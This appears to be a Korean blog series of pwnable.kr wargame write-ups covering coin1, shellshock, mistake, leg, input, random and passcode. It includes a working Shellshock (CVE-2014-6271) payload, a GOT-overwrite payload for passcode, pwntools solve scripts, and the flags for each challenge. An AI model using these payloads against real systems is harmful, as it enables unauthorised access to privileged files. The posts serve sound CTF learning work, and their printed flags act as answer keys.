반응형
반응형
반응형

coin1 - 6 pt

Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)


Running at : nc pwnable.kr 9007


---------------------------------------------------

-              Shall we play a game?              -

---------------------------------------------------

You have given some gold coins in your hand

however, there is one counterfeit coin among them

counterfeit coin looks exactly same as real coin

however, its weight is different from real one

real coin weighs 10, counterfeit coin weighes 9

help me to find the counterfeit coin with a scale

if you find 100 counterfeit coins, you will get reward :)

FYI, you have 30 seconds.

- How to play - 

1. you get a number of coins (N) and number of chances (C)

2. then you specify a set of index numbers of coins to be weighed

3. you get the weight information

4. 2~3 repeats C time, then you give the answer

- Example -

[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial

[Client] 0 1 # weigh first and second coin

[Server] 20 # scale result : 20

[Client] 3 # weigh fourth coin

[Server] 10 # scale result : 10

[Client] 2 # counterfeit coin is third!

[Server] Correct!


- Ready? starting in 3 sec... -



가짜 동전 찾기 게임이다.


N은 동전의 총 갯수, C는 시도 가능 횟수 이다.


진짜 동전의 무게는 10, 가짜동전의 무게는 9다.


정수 (n) 을 보내면 n+1번째 동전의 무게를 알려준다.

정수 a b c d e 이렇게 보내면 a, b, c, d, e 번째 동전 무게의 총합을 알려준다.


특정 배열의 총합을 알아내서 무게가 10의 배수가 아니면 그 배열에 가짜 동전이 있다는 것이다.


전체 동전을 반으로 나누어서 무게을 구하고 다시 10의 배수가 아닌 배열을 반으로 나누어서 무게를 구한다.

이런 식으로 무게가 10의 배수가 아닌 배열의 범위를 좁혀 나간다.

그러면 찾을 수 있다.


그런데 30초 동안 100개의 가짜 동전을 찾아내야 하기 때문에 코드를 짜서 풀어야 한다.



https://github.com/crater0516/pwnable.kr/blob/master/Todddlers_Bottle/coin1/solve.py

위 코드를 참고했습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import re
 
#무게의 합이 10의 배수인지 아닌지 
def check (start, end, weight) :
    num = (end - start)
    print ("[!] check : num is %d" % num)
    if (10 * num == weight) :
        return 1
    else :
        return 0
 
def main () :
    r = remote("pwnable.kr"9007)
    data = r.recvuntil("sec... -\n")
    print data
    sleep(3)
    r.recv(1024)
    # start game!
    for i in range (0100) :
        print ("[+] recving data..."),
        sleep(0.1)
        #    r.recv(1024)
        data = r.recv(1024)
        print (": Done, data is %s" % data),
        print ("[*] data parsing..."),
        arr = re.findall("\d+", data)
        N = int(arr[0])
        C = int(arr[1])
        print (": Done, N is %d, C is %d" % (N, C))
        # data has been parsed
 
        start = 0
        end = N
        while (start <= end) :
            msg = ""
            mid = (start + end) / 2
            print ("[+] sending msg start...")
            for j in range (start, mid + 1) :
                msg += str(j) + " "
            msg += '\n'
            r.send(msg)
            print ("[*] msg : %s" % msg),
            dt = r.recv(100)
            print ("[*] dt : %s" % dt),
            if (dt.find("Correct"!= -1) :
                break
            #    sleep(3)
            weight = int(dt)
            print ("[+] weight : %d" % weight)
            #    sleep(3)
            ck = check(start, mid+1, weight)
            if (ck == 1) :
                print ("[*] counterfeit coin not found")
                start = mid + 1
            elif (ck == 0) :
                print ("[*] counterfeit coin found")
                end = mid
        print ("[+] Done, counterfeit coin has been found")
    while True :
           data = r.recvline ()
        print data
        if (data.find("bye!"!= -1) :
            break
 
if __name__ == "__main__" :
    main ()
 
cs


저만의 코드를 작성할 수 있기를..


FLAG : b1NaRy_S34rch1nG_1s_3asy_p3asy



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
반응형

shellshock - 1 pt

Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure :)



ssh shellshock@pwnable.kr -p2222 (pw:guest)



shellshock@ubuntu:~$ cat shellshock.c

#include <stdio.h>

int main(){

setresuid(getegid(), getegid(), getegid());

setresgid(getegid(), getegid(), getegid());

system("/home/shellshock/bash -c 'echo shock_me'");

return 0;

}


bash의 shellshock 취약점 문제 


shellshock@ubuntu:~$ env x='() { :;}; echo hi' ./bash

hi


취약점이 있다.
그러면 shellshock의 권한을 이용해서 flag를 읽으면 될 것 같다.

env x='() { :;}; /bin/cat flag' ./shellshock



shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault

FLAG : only if I knew CVE-2014-6271 ten years ago..!!


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
반응형

mistake - 1 pt

We all make mistakes, let's move on.

(don't take this too seriously, no fancy hacking skill is required at all)


This task is based on real event

Thanks to dhmonkey


hint : operator priority


ssh mistake@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고, 코드를 살펴봅시다.


mistake@ubuntu:~$ ls -l

total 24

-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag

-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake

-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c

-r-------- 1 mistake_pwn root      10 Jul 29  2014 password

mistake@ubuntu:~$ cat mistake.c

#include <stdio.h>

#include <fcntl.h>


#define PW_LEN 10

#define XORKEY 1


void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}


int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}


printf("do not bruteforce...\n");

sleep(time(0)%20);


char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}


close(fd);

return 0;

}



문제 제목이 mistake이다.

힌트는 operator priority 연산자 우선순위.




if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)


이 코드를 보면 open함수의 반환값인 fd의 값과 0을 비교하는 것 처럼 보이지만 사실 비교 연산자 (<)가 산술연산자 (=) 보다 우선순위가 높기 때문에

open함수의 반환값과 0을 비교한 결과가 fd에 들어가게 된다.


위 코드가 실행될 때 open함수에서 파일이 정상적으로 열려서 양수를 반환하게 된다.

그리고 0과 비교했을 때 Fasle 이므로 fd에는 0이 들어가게 된다.




그 다음,

 

if(!(len=read(fd,pw_buf,PW_LEN) > 0))


이 부분도 마찬가지.

일단 fd에 0이 들어갔다. read함수에서 fd = 0이면 stdin을 의미한다. 사용자로부터 입력값을 받는다.

입력값이 pw_buf에 들어가기 때문에 pw_buf의 값을 우리 마음대로 설정할 수 있다!



그 뒤에 


scanf("%10s", pw_buf2);


를 통해 pw_buf2의 값을 입력받기 때문에


pw_buf, pw_buf2 모두 우리 모두 설정할 수 있다.

그 뒤에 pw_buf2를 1과 xor한 값과 pw_buf가 같으면 플래그를 뿌려주게 된다.



mistake@ubuntu:~$ ./mistake 

do not bruteforce...

1111111111

input password : 0000000000

Password OK

Mommy, the operator priority always confuses me :(



FLAG : Mommy, the operator priority always confuses me :(



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
반응형

leg - 2 pt

Daddy told me I should study arm.

But I prefer to study my leg!


Download : http://pwnable.kr/bin/leg.c

Download : http://pwnable.kr/bin/leg.asm


ssh leg@pwnable.kr -p2222 (pw:guest)



leg.c를 봅시다.


#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}


key1부터 3까지의 함수들은 ARM 어셈블리어로 작성이 되었네요.

먼저 main함수를 보면 위 3개의 함수값을 모두 더한값을 맞추면 플래그를 얻을 수 있는 것 같습니다!


main함수의 어셈코드도 봅시다!


0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3


함수를 통해 구한 r0값을 모두 더해서 최종적으로 r2에 들어가는 것을 알 수 있네요.


그럼 각 함수를 보겠습니다.




int key1(){
	asm("mov r3, pc\n");
}

(gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.


key1함수의 c와 어쎔코드입니다.

pc라는 값을 r3에 넣고 다시 r3를 r0에 넣었습니다.

그러면 pc라는 값이 key1의 값이 되겠네요.


그럼 pc가 뭔지 공부하고 옵시다!


cpu가 명령어 하나를 수행할 때 fetch > decode > execute 의 과정을 거친다고 합니다.


2개의 opcode를 실행하려면 fetch > decode > execute > fetch > decode > execute 총 6번의 작업이 필요하죠.

하지만 pipe line라는 것을 이용해서


 1

2

 fetch

decode 

execute 

 

 

fetch 

decode 

execute 



이렇게 병렬적으로 단계를 수행하면 2개의 opcode를 실행할때 6번의 작업이 필요했던것을 4번으로 줄일 수 있습니다.

직렬보다 효율적이죠.


pc는 fetch할 주소를 담고 있습니다.

현재 명령어가 execute단계라면, 다음 명령어는 decode단계, 그 다음 명령어는 fetch 단계이겠죠.

그래서 pc는 다다음번째 명령어의 주소를 담고 있게 됩니다.



key1 함수에서 pc의 값은 0x00008ce4 가 되겠네요.




이제 key2를 봅시다.

int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.


r3에 pc값(0x00008d08)을 대입하고, 4를 더해서 r0에 대입하네요.

key2의 값은 0x8d08 + 4 = 0x8d0c !!!




key3를 봅시다.


int key3(){
	asm("mov r3, lr\n");
}

(gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.


lr이라는 값을 r3에 대입하고 r3의 값을 r0에 대입하네요.

그러면 lr이라는 값을 구하면 될 것 같네요.


lr은 함수 호출 전에 다시 되돌아가 실행할 주소를 담고 있다고 합니다.


main함수를 보면,


 0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3

lr의 값은 0x00008d80 이 되겠네요.




3개 모두 구했습니다!!

key1 | 0x8ce4

key2 | 0x8d0c

key3 | 0x8d80


모두 더하면 0x1a770 이네요.


그럼 이제 플래그를 구합시다!

프로그램에서 정수값으로 입력을 받기 때문에 108400을 입력하겠습니다.


/ $ ./leg

Daddy has very strong arm! : 108400 

Congratz!

My daddy has a lot of ARMv5te muscle!


FLAG : My daddy has a lot of ARMv5te muscle!



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [shellshock] 풀이  (0) 2018.03.08
pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
반응형

input - 4 pt

Mom? how can I pass my input to a computer program?


ssh input2@pwnable.kr -p2222 (pw:guest)


ssh 접속을 하고 소스를 확인합니다.


input2@ubuntu:~$ ls -l

total 24

-r--r----- 1 input2_pwn root      55 Jun 30  2014 flag

-r-sr-x--- 1 input2_pwn input2 13250 Jun 30  2014 input

-rw-r--r-- 1 root       root    1754 Jun 30  2014 input.c

input2@ubuntu:~$ cat input.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>


int main(int argc, char* argv[], char* envp[]){

printf("Welcome to pwnable.kr\n");

printf("Let's see if you know how to give input to program\n");

printf("Just give me correct inputs then you will get the flag :)\n");


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");


// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");

// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

    return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


// here's your flag

system("/bin/cat flag");

return 0;

}




코드가 상당히 기네요.. 차근차근 살펴봅시다.

전체적으로 보았을때 Stage 1 부터 5까지 모두 통과해야 플래그를 얻을 수 있는 것 같습니다.



그럼 먼저 Stage1을 통과하기위한 조건을 봅시다.


// argv

if(argc != 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;

if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

printf("Stage 1 clear!\n");



1. 인자의 개수 = 100개

2. argv['A'] = \x00

3. argv['B'] = \x20\x0a\x0d


이면 스테이지 1이 클리어가 되네요.




// stdio

char buf[4];

read(0, buf, 4);

if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;

read(2, buf, 4);

        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;

printf("Stage 2 clear!\n");


Stage2입니다.


pwnable.kr의 fd문제에서 read함수의 fd값을 공부했던적이 있었습니다.

stdin으로 \x00\x0a\x00\xff 입력을 주고 sterr로 \x00\x0a\x02\xff을 주어야 클리어할 수 있습니다.




// env

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;

printf("Stage 3 clear!\n");


stage 3 입니다.


환경변수네요. \xde\xad\xbe\xef 라는 환경변수에 \xca\xfe\xba\xbe 값을 넣어주면 됩니다.




// file

FILE* fp = fopen("\x0a", "r");

if(!fp) return 0;

if( fread(buf, 4, 1, fp)!=1 ) return 0;

if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;

fclose(fp);

printf("Stage 4 clear!\n");


stage 4 입니다.


\x0a라는 파일을 열고, 읽어온 첫 4바이트가 \x00\x00\x00\x00 이어야 클리어네요.




// network

int sd, cd;

struct sockaddr_in saddr, caddr;

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd == -1){

printf("socket error, tell admin\n");

return 0;

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = INADDR_ANY;

saddr.sin_port = htons( atoi(argv['C']) );

if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){

printf("bind error, use another port\n");

     return 1;

}

listen(sd, 1);

int c = sizeof(struct sockaddr_in);

cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);

if(cd < 0){

printf("accept error, tell admin\n");

return 0;

}

if( recv(cd, buf, 4, 0) != 4 ) return 0;

if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;

printf("Stage 5 clear!\n");


stage5 입니다.

atoi(argv['C']) = argv['C']의 정수형으로 변환한 값을 포트번호로 소켓서버를 열고

\xde\xad\xbe\xef 을 보내주면 stage5가 클리어 된다.





그럼 익스플로잇을 작성하겠습니다.


http://gmltnscv.tistory.com/27 이 분의 익스플로잇 코드를 참고했습니다...


Python으로 작성하였고, Pwntools를 사용했습니당.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
#stage1
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
 
#stage2
with open('./stderr''a') as f:
    f.write('\x00\x0a\x02\xff')
#stage3
envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
 
#stage4
with open('./\x0a''a') as f:
    f.write('\x00\x00\x00\x00')
 
#stage5 
argvs[ord('C')] = '40000'
 
#인자전달, stderr 파일 열기, 환경변수 설정등
target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env=envVal)
 
#stage2의 stdin
target.sendline('\x00\x0a\x00\xff')
 
#다시 stage5, 포트가 argv['C']와 일치해야겠죠?
conn = remote('localhost'40000)
conn.send('\xde\xad\xbe\xef')
target.interactive()  
cs


그런데 이 코드를 현재 디렉토리에서는 작성할수가 없습니다. 권한이 없기 때문...

그래서 권한이 있는 /tmp를 이용해야 한다고 합니다!

/tmp에 코드를 작성하고 실행해보겠습니다.


input2@ubuntu:~$ cd /tmp

input2@ubuntu:/tmp$ mkdir m4ndu

input2@ubuntu:/tmp$ cd m4ndu

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

[*] Process '/home/input2/input' stopped with exit code 0

[*] Got EOF while reading in interactive

$


엇 플래그가 뜨지 않습니다.. 플래그 파일이 현재 경로에 없기 때문이죠..

그렇다고 플래그 파일을 복사해 올 수도 없습니다.

그래서 심볼릭 링크를 걸어주고 다시 실행하면 됩니당


input2@ubuntu:/tmp/m4ndu$ ln -s /home/input2/flag flag

input2@ubuntu:/tmp/m4ndu$ ls

flag

input2@ubuntu:/tmp/m4ndu$ vi exex.py


[2]+  Stopped                 vi exex.py

input2@ubuntu:/tmp/m4ndu$ vi ex.py

input2@ubuntu:/tmp/m4ndu$ python ex.py 

[+] Starting local process '/home/input2/input': Done

[+] Opening connection to localhost on port 40000: Done

[*] Switching to interactive mode

Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)

Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

Stage 5 clear!

Mommy! I learned how to pass various input in Linux :)

[*] Got EOF while reading in interactive

$  


flag를 얻었습니다!!
FLAG : Mommy! I learned how to pass various input in Linux :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [mistake] 풀이  (0) 2018.03.08
pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
반응형

random - 1 pt

Daddy, teach me how to use random value in programming!


ssh random@pwnable.kr -p2222 (pw:guest)


접속을 하고, 소스를 확인해 봅시다.


random@ubuntu:~$ ls -l

total 20

-r--r----- 1 random_pwn root     49 Jun 30  2014 flag

-r-sr-x--- 1 random_pwn random 8538 Jun 30  2014 random

-rw-r--r-- 1 root       root    301 Jun 30  2014 random.c

random@ubuntu:~$ cat random.c

#include <stdio.h>


int main(){

unsigned int random;

random = rand(); // random value!


unsigned int key=0;

scanf("%d", &key);


if( (key ^ random) == 0xdeadbeef ){

printf("Good!\n");

system("/bin/cat flag");

return 0;

}


printf("Wrong, maybe you should try 2^32 cases.\n");

return 0;

}



4바이트의 랜덤값과 입력값을 xor연산을 해서 0xdeadbeef가 나오면 플래그를 주는 프로그램이네요.


어? 랜덤값이면 모든 경우의 수를 시도해 봐야 하는 거야? :3 라고 하실 수 있지만, rand()함수는 매번 바뀌는 시드값을 주지 않으면 항상 일정한 값을 반환하게 됩니다. 이 일정하게 나오는 값을 알아내면 답을 구할 수 있습니다.


gdb를 통해 값을 확인해 봅시다.


random@ubuntu:~$ gdb -q random

Reading symbols from random...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas main

(생략)

   0x000000000040062c <+56>: xor    eax,DWORD PTR [rbp-0x4]

   0x000000000040062f <+59>: cmp    eax,0xdeadbeef

(생략)


xor연산을 하고, 0xdeadbeef와 비교연산을 하게 되는 eax의 값을 확인해 보면 될 것 같습니다.


(gdb) b *main+59
Breakpoint 1 at 0x40062f
(gdb) r
Starting program: /home/random/random 
0

Breakpoint 1, 0x000000000040062f in main ()
(gdb) info register $eax
eax            0x6b8b4567 1804289383


브레이크 포인트를 걸고 돌려서 0을 넣은 결과 eax에 0x6b8b4567이 들어가 있는 것을 알 수 있습니다.
xor 0 은 해도 값이 같게 나오기 때문에 rand()의 값은 0x6b8b4567임을 알 수 있습니다.

따라서 우리가 넣어야 할 값은 0xdeadbeef ^ 0x6b8b4567을 통해서 구할 수 있습니다.

0xB526FB88 이라는 값이 나옵니다. 값을 정수형으로 받으므로 정수형으로 변환해줍니다.

3039230856



random@ubuntu:~$ ./random 

3039230856

Good!

Mommy, I thought libc random is unpredictable...



FLAG : Mommy, I thought libc random is unpredictable...

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [leg] 풀이  (0) 2018.03.07
pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
반응형

passcode - 10 pt 

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?


ssh passcode@pwnable.kr -p2222 (pw:guest)


ssh passcode@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



passcode@ubuntu:~$ ls -l

total 16

-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag

-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode

-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

passcode@ubuntu:~$ cat passcode.c

#include <stdio.h>

#include <stdlib.h>


void login(){

int passcode1;

int passcode2;


printf("enter passcode1 : ");

scanf("%d", passcode1);

fflush(stdin);


// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

        scanf("%d", passcode2);


printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

exit(0);

        }

}


void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}


int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");


welcome();

login();


// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}



login()함수를 보시면 입력을 받는 부분이 존재하는데요.


scanf("%d", passcode1);

scanf("%d", passcode2);


이 둘은 입력값을 passcode1에 저장을 하는 것이 아니라, passcode1를 주소로 한 곳에 저장을 하게 됩니다.

예를 들어 passcode1=0x12345678 이라면 0x12345678주소에 우리가 입력한 값을 저장하게 되는 것이죠.


두 변수 모두 초기화되지 않았기 때문에 더미값이 들어가 있을 것이고, 그 더미값을 주소로 하는 곳에 입력값을 저장하게 되니,

오류가 나게 됩니다.



일단 gdb로 분석을 해봅시다.


   0x0804862f <+38>: lea    edx,[ebp-0x70]

   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048636 <+45>: mov    DWORD PTR [esp],eax

   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>


welcome함수를 보면 ebp-0x70에 입력값을 저장합니다.

그리고 login 함수를 보면 


   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]

   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx

   0x08048583 <+31>: mov    DWORD PTR [esp],eax

   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>


ebp-0x10이 passcode1가 위치한 곳을 알 수 있습니다.


welcome()에서 입력을 100바이트를 받는데, [ebp-0x70] - [ebp-0x10] = 0x60 = 96바이트 이므로

passcode1의 값을 조작할 수 있습니다!


그러면 passcode1의 값을 주소로 하는 곳에 원하는 값을 넣을 수 있으므로, 원하는 주소에 원하는 값을 넣을 수 있습니다.


그 다음 fflush()의 got주소를 login()의 system()부분으로 바꾸면 된다.


그럼 fflush()의 got주소와 login()의 system()부분의 주소를 구하자.



   0x08048593 <+47>: call   0x8048430 <fflush@plt>

-----

(gdb) x/i 0x8048430

   0x8048430 <fflush@plt>: jmp    DWORD PTR ds:0x804a004

(gdb) x/i 0x804a004

   0x804a004 <fflush@got.plt>: test   BYTE PTR ss:[eax+ecx*1],al


fflush의 got 주소는 0x0804a004이다.



   0x080485de <+122>: call   0x8048450 <puts@plt>

   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>: call   0x8048460 <system@plt>


system함수의 시작부분을 보면 0x080485e3임을 알 수 있다.


그럼 페이로드를 구성해보면


dummy[96]+fflush()의 got[4]


system()[4] 가 된다.


여기서 system()[4]는 scanf()가 정수형으로 받기 때문에 정수형으로 바꿔서 보내주어야 한다.

0x80485e3 = 134514147


(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode



passcode@ubuntu:~$ (python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

Toddler's Secure Login System 1.0 beta.

enter you name : Welcome DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD�!

134514147

Sorry mom.. I got confused about scanf usage :(

enter passcode1 : Now I can safely trust you that you have credential :)



FLAG : Sorry mom.. I got confused about scanf usage :(





반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [input] 풀이  (0) 2018.03.06
pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
반응형

flag - 7 pt [writeup] 

Papa brought me a packed present! let's open it.


